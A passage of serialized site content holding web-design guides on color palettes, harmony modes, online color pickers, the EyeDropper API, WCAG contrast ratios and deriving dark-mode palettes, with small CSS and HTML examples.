(",[143,30857,29599],{},[143,30859,30860],{},"270°",[44,30862,30863],{},"Works well for backgrounds and gradients",[44,30865,30866],{},"Add a neutral or dark value for text contrast",[33,30868,29912],{"id":30869},"triadic",[16,30871,30872],{},"Three colors 120° apart. Balanced and vibrant.",[41,30874,30875,30887,30890],{},[44,30876,30877,30878,30881,30882,30884,30885,1525],{},"Red (",[143,30879,30880],{},"0°","), Yellow-Green (",[143,30883,29587],{},"), Blue (",[143,30886,29599],{},[44,30888,30889],{},"Let one color dominate; use the other two sparingly",[44,30891,30892],{},"Great for illustrations and data visualizations",[33,30894,30896],{"id":30895},"split-complementary","Split-Complementary",[16,30898,30899],{},"One base color plus the two neighbors of its complement (roughly 150° and 210° from the base). Contrast with less tension than pure complementary.",[41,30901,30902,30915,30918],{},[44,30903,30904,30905,30907,30908,30911,30912,1525],{},"Base: Blue (",[143,30906,29599],{},"), Splits: Yellow (",[143,30909,30910],{},"60° + 30°",") and Red-Orange (",[143,30913,30914],{},"60° − 30°",[44,30916,30917],{},"Easier to balance than complementary",[44,30919,30920],{},"Good for dashboards and multi-section layouts",[33,30922,30924],{"id":30923},"tetradic-rectangle","Tetradic (Rectangle)",[16,30926,30927],{},"Four colors forming two complementary pairs. Rich and complex.",[41,30929,30930,30942,30945],{},[44,30931,30833,30932,30836,30934,30936,30937,30939,30940,1525],{},[143,30933,29599],{},[143,30935,29581],{},") and Red (",[143,30938,30880],{},") + Green (",[143,30941,29587],{},[44,30943,30944],{},"Requires careful dominance hierarchy—let one pair lead",[44,30946,30947],{},"Best for experienced designers with established brand rules",[33,30949,29880],{"id":30950},"monochromatic",[16,30952,30953],{},"Variations of a single hue at different saturation and lightness levels.",[41,30955,30956,30959,30962],{},[44,30957,30958],{},"Blue at 95%, 70%, 50%, 30%, 15% lightness",[44,30960,30961],{},"Clean, professional, safe",[44,30963,30964],{},"Add one contrasting accent for interactive elements",[11,30966,30968],{"id":30967},"how-to-choose-a-base-color","How to Choose a Base Color",[16,30970,30971],{},"Your base color anchors the entire palette. Start here before branching into harmony modes.",[33,30973,30975],{"id":30974},"start-with-brand-or-emotion","Start with Brand or Emotion",[16,30977,30978],{},"If you have a brand color, that is your base. If not, think about the emotion you want to convey:",[41,30980,30981,30992,31003,31014],{},[44,30982,30983,30986,30987,1811,30990,1525],{},[47,30984,30985],{},"Trust and professionalism",": Blue hues (",[143,30988,30989],{},"200°",[143,30991,29599],{},[44,30993,30994,30997,30998,1811,31000,1525],{},[47,30995,30996],{},"Energy and urgency",": Red-orange hues (",[143,30999,30880],{},[143,31001,31002],{},"30°",[44,31004,31005,31008,31009,1811,31011,1525],{},[47,31006,31007],{},"Growth and calm",": Green hues (",[143,31010,29587],{},[143,31012,31013],{},"160°",[44,31015,31016,31019,31020,1811,31022,1525],{},[47,31017,31018],{},"Creativity and luxury",": Purple hues (",[143,31021,30860],{},[143,31023,29605],{},[33,31025,31027],{"id":31026},"practical-steps","Practical Steps",[77,31029,31030,31033,31036,31039],{},[44,31031,31032],{},"Choose a hue that matches your brand or mood",[44,31034,31035],{},"Set saturation between 60% and 90% for screen legibility",[44,31037,31038],{},"Pick lightness around 50% as your \"500\" shade",[44,31040,31041],{},"Generate lighter (50–400) and darker (600–950) variants by adjusting lightness in 10–15% steps",[33,31043,31045],{"id":31044},"test-in-context","Test in Context",[16,31047,31048],{},"Always preview your base color against both white and dark backgrounds. A color that looks vibrant on a light background may look washed out in dark mode. Adjust lightness and saturation until the color reads well in both contexts.",[11,31050,31052],{"id":31051},"building-a-complete-palette-step-by-step","Building a Complete Palette Step by Step",[77,31054,31055,31061,31067,31073,31079,31085,31091],{},[44,31056,31057,31060],{},[47,31058,31059],{},"Pick a primary hue"," using the brand or emotion approach above",[44,31062,31063,31066],{},[47,31064,31065],{},"Choose a harmony mode"," based on the mood you want—analogous for calm, complementary for bold",[44,31068,31069,31072],{},[47,31070,31071],{},"Generate accent colors"," using your chosen mode",[44,31074,31075,31078],{},[47,31076,31077],{},"Add neutral grays"," — warm (slate) or cool (zinc) depending on your primary",[44,31080,31081,31084],{},[47,31082,31083],{},"Define background and text colors"," with sufficient contrast (4.5:1 minimum under WCAG AA)",[44,31086,31087,31090],{},[47,31088,31089],{},"Create shade scales"," (50–950) for your primary and accent colors",[44,31092,31093,31096],{},[47,31094,31095],{},"Validate contrast"," for every text-and-background pairing",[11,31098,1355],{"id":1354},[41,31100,31101,31104,31107,31110,31113,31116,31119],{},[44,31102,31103],{},"A color palette assigns specific roles to 5–7 colors so every shade has a purpose",[44,31105,31106],{},"Primary drives brand identity; secondary supports it; accent draws the eye",[44,31108,31109],{},"Harmony modes give you geometric formulas for picking colors that work together",[44,31111,31112],{},"Complementary and split-complementary create contrast; analogous and monochromatic create cohesion",[44,31114,31115],{},"Start with a single base hue, then branch using your chosen harmony mode",[44,31117,31118],{},"Always generate shade scales and validate WCAG contrast before shipping",[44,31120,31121],{},"Context matters—test your palette in both light and dark modes",[11,31123,286],{"id":285},[16,31125,31126,31127,31129,31130,468],{},"Ready to build a palette? Use our free ",[98,31128,2423],{"href":2422}," to experiment with six harmony modes and export CSS variables instantly. Need to convert your hex values to RGB or HSL? Try the ",[98,31131,18588],{"href":18587},{"title":141,"searchDepth":337,"depth":337,"links":31133},[31134,31135,31140,31148,31153,31154,31155],{"id":30683,"depth":337,"text":30684},{"id":30696,"depth":337,"text":30697,"children":31136},[31137,31138,31139],{"id":30798,"depth":343,"text":30799},{"id":30805,"depth":343,"text":2187},{"id":30811,"depth":343,"text":30812},{"id":30818,"depth":337,"text":30819,"children":31141},[31142,31143,31144,31145,31146,31147],{"id":30825,"depth":343,"text":29858},{"id":30847,"depth":343,"text":29901},{"id":30869,"depth":343,"text":29912},{"id":30895,"depth":343,"text":30896},{"id":30923,"depth":343,"text":30924},{"id":30950,"depth":343,"text":29880},{"id":30967,"depth":337,"text":30968,"children":31149},[31150,31151,31152],{"id":30974,"depth":343,"text":30975},{"id":31026,"depth":343,"text":31027},{"id":31044,"depth":343,"text":31045},{"id":31051,"depth":337,"text":31052},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to build effective color palettes using color harmony principles for web design.",{"immutable":363},{"title":2612,"description":31156},"guides\u002Fcolor-palette-guide","0dMXZJHErc54AJbS1aT7ASArETNPFlIqt9j4SsBu8ro",{"id":31162,"title":29505,"body":31163,"date":2070,"description":31605,"extension":361,"meta":31606,"navigation":363,"path":29504,"readingTime":1717,"seo":31607,"stem":31608,"__hash__":31609},"guides\u002Fguides\u002Fcolor-picker-guide.md",{"type":8,"value":31164,"toc":31581},[31165,31169,31172,31175,31179,31186,31206,31209,31213,31216,31220,31223,31267,31271,31274,31314,31318,31321,31325,31328,31399,31402,31408,31412,31415,31419,31422,31439,31442,31446,31449,31455,31459,31462,31466,31469,31473,31480,31484,31502,31506,31526,31528,31531,31533,31553,31555,31564,31566,31578],[11,31166,31168],{"id":31167},"what-is-an-online-color-picker","What Is an Online Color Picker",[16,31170,31171],{},"An online color picker is a browser-based tool that lets you select colors visually and instantly generates their code in multiple formats—HEX, RGB, HSL, and CMYK. Unlike desktop design software, it requires no installation and works on any device.",[16,31173,31174],{},"Designers and developers use color pickers daily: to match a brand color from a screenshot, to fine-tune a button shade, or to translate a color between code formats. A good picker removes the friction between \"I like this color\" and \"here's the code I need.\"",[11,31176,31178],{"id":31177},"how-online-color-pickers-work","How Online Color Pickers Work",[16,31180,31181,31182,31185],{},"Most web-based color pickers use the ",[47,31183,31184],{},"HSB (Hue-Saturation-Brightness)"," model internally because it maps naturally to human intuition. The interface typically has three parts:",[41,31187,31188,31194,31200],{},[44,31189,31190,31193],{},[47,31191,31192],{},"Hue slider or wheel"," — choose the base color (0°–360°)",[44,31195,31196,31199],{},[47,31197,31198],{},"Saturation-brightness square"," — adjust vividness and lightness",[44,31201,31202,31205],{},[47,31203,31204],{},"Output fields"," — display the result in HEX, RGB, HSL, and CMYK",[16,31207,31208],{},"When you click or drag within the square, the tool converts your HSB selection into every format in real time. The math is deterministic—the same coordinates always produce the same codes.",[11,31210,31212],{"id":31211},"choosing-colors-for-web-design","Choosing Colors for Web Design",[16,31214,31215],{},"Picking a color that \"looks nice\" isn't enough. A systematic approach saves time and produces more consistent results.",[33,31217,31219],{"id":31218},"start-with-purpose","Start with Purpose",[16,31221,31222],{},"Ask yourself what the color needs to do:",[193,31224,31225,31234],{},[196,31226,31227],{},[199,31228,31229,31231],{},[202,31230,2758],{},[202,31232,31233],{},"Best Approach",[211,31235,31236,31244,31252,31259],{},[199,31237,31238,31241],{},[216,31239,31240],{},"Brand identity",[216,31242,31243],{},"Pick a dominant hue, then build a scale",[199,31245,31246,31249],{},[216,31247,31248],{},"Call to action",[216,31250,31251],{},"Choose a high-saturation accent that contrasts with the page",[199,31253,31254,31256],{},[216,31255,3432],{},[216,31257,31258],{},"Use low-saturation, high-lightness tones",[199,31260,31261,31264],{},[216,31262,31263],{},"Error or warning",[216,31265,31266],{},"Follow convention—red for errors, amber for warnings",[33,31268,31270],{"id":31269},"pick-one-hue-then-scale","Pick One Hue, Then Scale",[16,31272,31273],{},"Resist the temptation to pick five unrelated colors. Instead, pick one primary hue and generate lighter and darker variants by adjusting lightness in HSL. This creates a cohesive palette without guesswork.",[135,31275,31277],{"className":1554,"code":31276,"language":1556,"meta":141,"style":141},"\u002F* One hue, six lightness levels *\u002F\n--brand-100: hsl(210, 80%, 95%);\n--brand-200: hsl(210, 80%, 85%);\n--brand-300: hsl(210, 80%, 70%);\n--brand-400: hsl(210, 80%, 55%);\n--brand-500: hsl(210, 80%, 45%);\n--brand-600: hsl(210, 80%, 30%);\n",[143,31278,31279,31284,31289,31294,31299,31304,31309],{"__ignoreMap":141},[1560,31280,31281],{"class":1562,"line":1563},[1560,31282,31283],{"class":1649},"\u002F* One hue, six lightness levels *\u002F\n",[1560,31285,31286],{"class":1562,"line":337},[1560,31287,31288],{"class":1570},"--brand-100: hsl(210, 80%, 95%);\n",[1560,31290,31291],{"class":1562,"line":343},[1560,31292,31293],{"class":1570},"--brand-200: hsl(210, 80%, 85%);\n",[1560,31295,31296],{"class":1562,"line":365},[1560,31297,31298],{"class":1570},"--brand-300: hsl(210, 80%, 70%);\n",[1560,31300,31301],{"class":1562,"line":889},[1560,31302,31303],{"class":1570},"--brand-400: hsl(210, 80%, 55%);\n",[1560,31305,31306],{"class":1562,"line":1710},[1560,31307,31308],{"class":1570},"--brand-500: hsl(210, 80%, 45%);\n",[1560,31310,31311],{"class":1562,"line":1717},[1560,31312,31313],{"class":1570},"--brand-600: hsl(210, 80%, 30%);\n",[33,31315,31317],{"id":31316},"add-one-accent-color","Add One Accent Color",[16,31319,31320],{},"Once your primary scale is locked, pick a complementary or analogous hue for accent elements—buttons, links, badges. A single accent keeps the design focused.",[11,31322,31324],{"id":31323},"understanding-hex-rgb-hsl-and-cmyk-formats","Understanding HEX, RGB, HSL, and CMYK Formats",[16,31326,31327],{},"A good color picker outputs all four common formats. Here's what each one represents:",[193,31329,31330,31342],{},[196,31331,31332],{},[199,31333,31334,31336,31339],{},[202,31335,13018],{},[202,31337,31338],{},"Used In",[202,31340,31341],{},"What It Encodes",[211,31343,31344,31358,31373,31388],{},[199,31345,31346,31350,31353],{},[216,31347,31348],{},[47,31349,30483],{},[216,31351,31352],{},"CSS, design tools",[216,31354,31355,31356,1525],{},"Base-16 shorthand for RGB (",[143,31357,30488],{},[199,31359,31360,31364,31370],{},[216,31361,31362],{},[47,31363,29358],{},[216,31365,31366,31367,31369],{},"CSS ",[143,31368,28868],{},", JavaScript",[216,31371,31372],{},"Red, Green, Blue channels from 0–255",[199,31374,31375,31379,31385],{},[216,31376,31377],{},[47,31378,29369],{},[216,31380,31366,31381,31384],{},[143,31382,31383],{},"hsl()",", design systems",[216,31386,31387],{},"Hue (0–360°), Saturation %, Lightness %",[199,31389,31390,31394,31396],{},[216,31391,31392],{},[47,31393,29391],{},[216,31395,29388],{},[216,31397,31398],{},"Cyan, Magenta, Yellow, Key (black) percentages",[16,31400,31401],{},"For web work, HEX and HSL cover 95% of needs. CMYK matters only when preparing assets for print.",[16,31403,31404,31405,31407],{},"For a deep dive into each format and conversion formulas, see our ",[98,31406,28689],{"href":29551}," guide.",[11,31409,31411],{"id":31410},"tips-for-accessible-color-choices","Tips for Accessible Color Choices",[16,31413,31414],{},"Accessibility isn't optional—roughly 1 in 12 men and 1 in 200 women have some form of color vision deficiency.",[33,31416,31418],{"id":31417},"check-contrast-first","Check Contrast First",[16,31420,31421],{},"The WCAG 2.1 standard requires:",[41,31423,31424,31429,31434],{},[44,31425,31426,31428],{},[47,31427,3310],{}," contrast ratio for normal text",[44,31430,31431,31433],{},[47,31432,3313],{}," for large text (18pt+ or 14pt+ bold)",[44,31435,31436,31438],{},[47,31437,3313],{}," for UI components and graphical objects",[16,31440,31441],{},"Always verify your text-background pairs. A color picker that shows contrast alongside the color eliminates the guesswork.",[33,31443,31445],{"id":31444},"dont-rely-on-color-alone","Don't Rely on Color Alone",[16,31447,31448],{},"Never convey meaning through color by itself. Pair color with text labels, icons, or patterns so color-blind users can still identify states.",[135,31450,31453],{"className":31451,"code":31452,"language":140},[138],"\u003C!-- Bad: relies only on red -->\n\u003Cspan class=\"error\">Error\u003C\u002Fspan>\n\n\u003C!-- Good: icon + color -->\n\u003Cspan class=\"error\">⚠ Error\u003C\u002Fspan>\n",[143,31454,31452],{"__ignoreMap":141},[33,31456,31458],{"id":31457},"avoid-problematic-combinations","Avoid Problematic Combinations",[16,31460,31461],{},"Red-green is the most common color blindness type. If your design uses red for errors and green for success, add icons or text to distinguish them.",[33,31463,31465],{"id":31464},"test-in-grayscale","Test in Grayscale",[16,31467,31468],{},"Convert your design to grayscale mentally or with a browser filter. If two elements become indistinguishable, your palette needs adjustment.",[11,31470,31472],{"id":31471},"using-the-eyedropper-tool","Using the Eyedropper Tool",[16,31474,31475,31476,31479],{},"Modern browsers support the ",[47,31477,31478],{},"EyeDropper API",", which lets a color picker sample any pixel on your screen—not just inside the browser window.",[33,31481,31483],{"id":31482},"how-it-works","How It Works",[77,31485,31486,31493,31496,31499],{},[44,31487,31488,31489,31492],{},"Click the ",[47,31490,31491],{},"eyedropper"," button in the color picker",[44,31494,31495],{},"The cursor becomes a magnifying loupe",[44,31497,31498],{},"Hover over any area of your screen",[44,31500,31501],{},"Click to capture the color under the cursor",[33,31503,31505],{"id":31504},"practical-use-cases","Practical Use Cases",[41,31507,31508,31514,31520],{},[44,31509,31510,31513],{},[47,31511,31512],{},"Match a brand color"," from a PDF, logo, or competitor screenshot",[44,31515,31516,31519],{},[47,31517,31518],{},"Sample a photo"," to create a palette that complements an image",[44,31521,31522,31525],{},[47,31523,31524],{},"Grab a color from another app"," without taking a screenshot first",[33,31527,5512],{"id":5511},[16,31529,31530],{},"The EyeDropper API works in Chromium-based browsers (Chrome, Edge, Brave). Firefox and Safari users can use the OS-level color picker or a screenshot-based workaround.",[11,31532,1355],{"id":1354},[41,31534,31535,31538,31541,31544,31547,31550],{},[44,31536,31537],{},"An online color picker converts visual selection into HEX, RGB, HSL, and CMYK codes instantly",[44,31539,31540],{},"Start with one hue and build a lightness scale before adding accent colors",[44,31542,31543],{},"Use HSL for design decisions—it maps to how humans perceive color",[44,31545,31546],{},"Always check WCAG contrast ratios; 4.5:1 minimum for body text",[44,31548,31549],{},"Pair color with text or icons so color-blind users aren't excluded",[44,31551,31552],{},"The eyedropper tool samples any on-screen pixel for fast, accurate matching",[11,31554,286],{"id":285},[16,31556,31557,31558,31560,31561,31563],{},"Pick and convert colors in every format with our free ",[98,31559,18588],{"href":18587}," tool. Use it alongside the ",[98,31562,29494],{"href":5989}," for precise code translations.",[11,31565,321],{"id":320},[41,31567,31568,31573],{},[44,31569,31570,31572],{},[98,31571,28689],{"href":29551}," — HEX, RGB, HSL, and CMYK in detail",[44,31574,31575,31577],{},[98,31576,29512],{"href":29511}," — color wheel, harmony, and palette building",[2043,31579,31580],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":31582},[31583,31584,31585,31590,31591,31597,31602,31603,31604],{"id":31167,"depth":337,"text":31168},{"id":31177,"depth":337,"text":31178},{"id":31211,"depth":337,"text":31212,"children":31586},[31587,31588,31589],{"id":31218,"depth":343,"text":31219},{"id":31269,"depth":343,"text":31270},{"id":31316,"depth":343,"text":31317},{"id":31323,"depth":337,"text":31324},{"id":31410,"depth":337,"text":31411,"children":31592},[31593,31594,31595,31596],{"id":31417,"depth":343,"text":31418},{"id":31444,"depth":343,"text":31445},{"id":31457,"depth":343,"text":31458},{"id":31464,"depth":343,"text":31465},{"id":31471,"depth":337,"text":31472,"children":31598},[31599,31600,31601],{"id":31482,"depth":343,"text":31483},{"id":31504,"depth":343,"text":31505},{"id":5511,"depth":343,"text":5512},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"How to use a color picker effectively — choose the right color and get HEX, RGB, HSL, and CMYK codes instantly.",{"immutable":363},{"title":29505,"description":31605},"guides\u002Fcolor-picker-guide","-YH54BCNKODpiUS5BotkN_pKQtlq7bvVMsm7u6mGaxM",{"id":31611,"title":31612,"body":31613,"date":2070,"description":32149,"extension":361,"meta":32150,"navigation":363,"path":32151,"readingTime":1717,"seo":32152,"stem":32153,"__hash__":32154},"guides\u002Fguides\u002Fcolor-picker-workflow-designers.md","Color Picker Workflow for Designers",{"type":8,"value":31614,"toc":32129},[31615,31619,31622,31625,31629,31632,31704,31707,31711,31714,31718,31721,31765,31768,31772,31825,31828,31832,31835,31839,31883,31887,31898,31901,31905,31908,31958,31961,31965,31968,31972,31975,32039,32042,32046,32049,32075,32078,32080,32100,32102,32110,32112,32126],[11,31616,31618],{"id":31617},"the-problem-with-picking-colors-randomly","The Problem with Picking Colors Randomly",[16,31620,31621],{},"Opening a color picker and dragging until something \"looks right\" leads to inconsistent palettes, poor accessibility, and painful developer handoffs. Professional designers use a structured workflow: source an initial color, build a scale, verify contrast, convert formats, and document the result.",[16,31623,31624],{},"A disciplined workflow does not slow you down. It eliminates the back-and-forth that happens when colors feel wrong in-context despite looking fine in isolation.",[11,31626,31628],{"id":31627},"step-1-start-with-a-source-color","Step 1: Start With a Source Color",[16,31630,31631],{},"Every palette starts with one anchor color. Where you get it depends on the project:",[193,31633,31634,31645],{},[196,31635,31636],{},[199,31637,31638,31641,31643],{},[202,31639,31640],{},"Source",[202,31642,29647],{},[202,31644,133],{},[211,31646,31647,31660,31671,31682,31693],{},[199,31648,31649,31652,31655],{},[216,31650,31651],{},"Brand guidelines",[216,31653,31654],{},"Corporate or product work",[216,31656,31657,31659],{},[143,31658,3488],{}," from brand book",[199,31661,31662,31665,31668],{},[216,31663,31664],{},"Mood board",[216,31666,31667],{},"New brand or campaign",[216,31669,31670],{},"Eyedropper from photo",[199,31672,31673,31676,31679],{},[216,31674,31675],{},"Competitor analysis",[216,31677,31678],{},"Redesign projects",[216,31680,31681],{},"Load competitor screenshot",[199,31683,31684,31687,31690],{},[216,31685,31686],{},"Keyword association",[216,31688,31689],{},"Early-stage exploration",[216,31691,31692],{},"\"Trust\" → blue, \"Energy\" → orange",[199,31694,31695,31698,31701],{},[216,31696,31697],{},"Random generation",[216,31699,31700],{},"Creative experiments",[216,31702,31703],{},"Shuffle until one resonates",[16,31705,31706],{},"Once you have your anchor, resist the urge to freestyle the rest. Derive complementary colors from systematic rules.",[11,31708,31710],{"id":31709},"step-2-build-a-full-scale","Step 2: Build a Full Scale",[16,31712,31713],{},"One color is never enough. You need a scale — typically 5 to 11 shades — for backgrounds, borders, hover states, disabled states, and text.",[33,31715,31717],{"id":31716},"the-hsl-method-recommended","The HSL method (recommended)",[16,31719,31720],{},"Convert your anchor color to HSL, then adjust the lightness while keeping hue and saturation constant:",[135,31722,31724],{"className":1554,"code":31723,"language":1556,"meta":141,"style":141},"--brand-50:  hsl(221 83% 95%);   \u002F* Lightest background *\u002F\n--brand-100: hsl(221 83% 85%);\n--brand-300: hsl(221 83% 70%);\n--brand-500: hsl(221 83% 53%);   \u002F* Anchor color *\u002F\n--brand-700: hsl(221 83% 35%);\n--brand-900: hsl(221 83% 18%);   \u002F* Darkest text\u002Fbg *\u002F\n",[143,31725,31726,31734,31739,31744,31752,31757],{"__ignoreMap":141},[1560,31727,31728,31731],{"class":1562,"line":1563},[1560,31729,31730],{"class":1570},"--brand-50:  hsl(221 83% 95%);   ",[1560,31732,31733],{"class":1649},"\u002F* Lightest background *\u002F\n",[1560,31735,31736],{"class":1562,"line":337},[1560,31737,31738],{"class":1570},"--brand-100: hsl(221 83% 85%);\n",[1560,31740,31741],{"class":1562,"line":343},[1560,31742,31743],{"class":1570},"--brand-300: hsl(221 83% 70%);\n",[1560,31745,31746,31749],{"class":1562,"line":365},[1560,31747,31748],{"class":1570},"--brand-500: hsl(221 83% 53%);   ",[1560,31750,31751],{"class":1649},"\u002F* Anchor color *\u002F\n",[1560,31753,31754],{"class":1562,"line":889},[1560,31755,31756],{"class":1570},"--brand-700: hsl(221 83% 35%);\n",[1560,31758,31759,31762],{"class":1562,"line":1710},[1560,31760,31761],{"class":1570},"--brand-900: hsl(221 83% 18%);   ",[1560,31763,31764],{"class":1649},"\u002F* Darkest text\u002Fbg *\u002F\n",[16,31766,31767],{},"HSL makes scale generation predictable because lightness maps directly to perceived brightness. HEX and RGB do not — incrementing a HEX pair does not correspond to linear brightness change.",[33,31769,31771],{"id":31770},"scale-conventions","Scale conventions",[193,31773,31774,31784],{},[196,31775,31776],{},[199,31777,31778,31781],{},[202,31779,31780],{},"Shade",[202,31782,31783],{},"Typical use",[211,31785,31786,31794,31801,31809,31817],{},[199,31787,31788,31791],{},[216,31789,31790],{},"50–100",[216,31792,31793],{},"Subtle backgrounds, hover states on light surfaces",[199,31795,31796,31798],{},[216,31797,3000],{},[216,31799,31800],{},"Borders, chips, secondary backgrounds",[199,31802,31803,31806],{},[216,31804,31805],{},"400–500",[216,31807,31808],{},"Primary actions, links, icons",[199,31810,31811,31814],{},[216,31812,31813],{},"600–700",[216,31815,31816],{},"Hover states on primary buttons, emphasis text",[199,31818,31819,31822],{},[216,31820,31821],{},"800–900",[216,31823,31824],{},"High-contrast text on light backgrounds",[16,31826,31827],{},"Tailwind CSS popularized this numbering system. Even if you do not use Tailwind, the convention is widely understood by developers.",[11,31829,31831],{"id":31830},"step-3-verify-contrast-and-accessibility","Step 3: Verify Contrast and Accessibility",[16,31833,31834],{},"A palette that looks harmonious in a color swatch can fail WCAG contrast requirements when applied to actual UI elements.",[33,31836,31838],{"id":31837},"minimum-contrast-ratios-wcag-21","Minimum contrast ratios (WCAG 2.1)",[193,31840,31841,31854],{},[196,31842,31843],{},[199,31844,31845,31848,31851],{},[202,31846,31847],{},"Element type",[202,31849,31850],{},"AA minimum",[202,31852,31853],{},"AAA minimum",[211,31855,31856,31865,31874],{},[199,31857,31858,31861,31863],{},[216,31859,31860],{},"Normal text (\u003C 18px)",[216,31862,3310],{},[216,31864,3323],{},[199,31866,31867,31870,31872],{},[216,31868,31869],{},"Large text (≥ 18px bold or ≥ 24px)",[216,31871,3313],{},[216,31873,3310],{},[199,31875,31876,31879,31881],{},[216,31877,31878],{},"UI components and graphical objects",[216,31880,3313],{},[216,31882,3060],{},[33,31884,31886],{"id":31885},"common-failures","Common failures",[41,31888,31889,31892,31895],{},[44,31890,31891],{},"Brand blue text on white background — often fails at 500 weight",[44,31893,31894],{},"Gray placeholder text — commonly below 3:1",[44,31896,31897],{},"Light brand background with white text — fails unless background is dark enough",[16,31899,31900],{},"Test every text\u002Fbackground combination in your palette. A color picker tool that displays contrast ratios alongside the color saves enormous time compared to checking after the fact.",[11,31902,31904],{"id":31903},"step-4-convert-to-all-needed-formats","Step 4: Convert to All Needed Formats",[16,31906,31907],{},"Your design tool may output HEX, but developers often need RGB, HSL, or CSS variables. Convert once at design time instead of leaving it to developers.",[193,31909,31910,31919],{},[196,31911,31912],{},[199,31913,31914,31916],{},[202,31915,13018],{},[202,31917,31918],{},"Use case",[211,31920,31921,31928,31935,31942,31950],{},[199,31922,31923,31925],{},[216,31924,30483],{},[216,31926,31927],{},"CSS properties, design tokens in JSON",[199,31929,31930,31932],{},[216,31931,29358],{},[216,31933,31934],{},"JavaScript color manipulation, canvas rendering",[199,31936,31937,31939],{},[216,31938,29369],{},[216,31940,31941],{},"Design system scales, theme variation",[199,31943,31944,31947],{},[216,31945,31946],{},"RGB with alpha",[216,31948,31949],{},"Overlays, overlays, hover states",[199,31951,31952,31955],{},[216,31953,31954],{},"HSL with alpha",[216,31956,31957],{},"Dark mode adjustments",[16,31959,31960],{},"A good color picker tool outputs all formats simultaneously — no manual conversion needed.",[11,31962,31964],{"id":31963},"step-5-dark-mode-derivation","Step 5: Dark Mode Derivation",[16,31966,31967],{},"If your product supports dark mode, derive the dark palette from light mode rather than designing it independently.",[33,31969,31971],{"id":31970},"the-inversion-principle","The inversion principle",[16,31973,31974],{},"Light backgrounds become dark surfaces. Light text becomes dark text. But brand colors stay the same — they are saturated enough to work on both backgrounds.",[135,31976,31978],{"className":1554,"code":31977,"language":1556,"meta":141,"style":141},"\u002F* Light mode *\u002F\n--surface: #FFFFFF;\n--text-primary: #111827;\n--brand-500: hsl(221 83% 53%);\n\n\u002F* Dark mode *\u002F\n--surface: #111827;\n--text-primary: #F9FAFB;\n--brand-500: hsl(221 83% 60%);  \u002F* Slightly lighter for dark bg *\u002F\n",[143,31979,31980,31985,31993,32002,32007,32011,32016,32024,32031],{"__ignoreMap":141},[1560,31981,31982],{"class":1562,"line":1563},[1560,31983,31984],{"class":1649},"\u002F* Light mode *\u002F\n",[1560,31986,31987,31990],{"class":1562,"line":337},[1560,31988,31989],{"class":1570},"--surface: ",[1560,31991,31992],{"class":5159},"#FFFFFF;\n",[1560,31994,31995,31998,32000],{"class":1562,"line":343},[1560,31996,31997],{"class":1570},"--text-primary: ",[1560,31999,4049],{"class":5159},[1560,32001,2228],{"class":1570},[1560,32003,32004],{"class":1562,"line":365},[1560,32005,32006],{"class":1570},"--brand-500: hsl(221 83% 53%);\n",[1560,32008,32009],{"class":1562,"line":889},[1560,32010,1702],{"emptyLinePlaceholder":363},[1560,32012,32013],{"class":1562,"line":1710},[1560,32014,32015],{"class":1649},"\u002F* Dark mode *\u002F\n",[1560,32017,32018,32020,32022],{"class":1562,"line":1717},[1560,32019,31989],{"class":1570},[1560,32021,4049],{"class":5159},[1560,32023,2228],{"class":1570},[1560,32025,32026,32028],{"class":1562,"line":1747},[1560,32027,31997],{"class":1570},[1560,32029,32030],{"class":5159},"#F9FAFB;\n",[1560,32032,32033,32036],{"class":1562,"line":2507},[1560,32034,32035],{"class":1570},"--brand-500: hsl(221 83% 60%);  ",[1560,32037,32038],{"class":1649},"\u002F* Slightly lighter for dark bg *\u002F\n",[16,32040,32041],{},"The brand color shifts slightly lighter in dark mode because the same absolute hue reads darker against a dark surface than against white.",[11,32043,32045],{"id":32044},"step-6-document-and-hand-off","Step 6: Document and Hand Off",[16,32047,32048],{},"A palette without documentation dies in translation. Provide developers with:",[77,32050,32051,32057,32063,32069],{},[44,32052,32053,32056],{},[47,32054,32055],{},"CSS custom properties"," — pre-formatted and ready to paste",[44,32058,32059,32062],{},[47,32060,32061],{},"Design token JSON"," — machine-readable for design system tools",[44,32064,32065,32068],{},[47,32066,32067],{},"Contrast grid"," — a table showing every text\u002Fbackground pair and its ratio",[44,32070,32071,32074],{},[47,32072,32073],{},"Usage rules"," — which shade for which purpose",[16,32076,32077],{},"The more explicit the handoff, the fewer Slack messages about \"which blue?\"",[11,32079,1355],{"id":1354},[41,32081,32082,32085,32088,32091,32094,32097],{},[44,32083,32084],{},"Start every palette with one anchor color, then derive the rest systematically",[44,32086,32087],{},"Use HSL to build scales — lightness maps to perceived brightness linearly",[44,32089,32090],{},"Verify WCAG contrast for every text\u002Fbackground combination before committing",[44,32092,32093],{},"Convert colors to all formats upfront rather than leaving it to developers",[44,32095,32096],{},"Derive dark mode palettes from light mode — adjust lightness, keep hue",[44,32098,32099],{},"Document your palette with CSS custom properties, design tokens, and usage rules",[11,32101,286],{"id":285},[16,32103,32104,32105,32109],{},"Pick, convert, and verify colors in one place with our free ",[98,32106,32108],{"href":32107},"\u002Ftools\u002Fcolor-picker","Color Picker",". Choose visually, get HEX, RGB, HSL, and contrast checks — all output simultaneously with no manual conversion.",[11,32111,321],{"id":320},[41,32113,32114,32118,32122],{},[44,32115,32116],{},[98,32117,28689],{"href":29551},[44,32119,32120],{},[98,32121,29512],{"href":29511},[44,32123,32124],{},[98,32125,4513],{"href":4512},[2043,32127,32128],{},"html pre.shiki code .sVt8B, html code.shiki 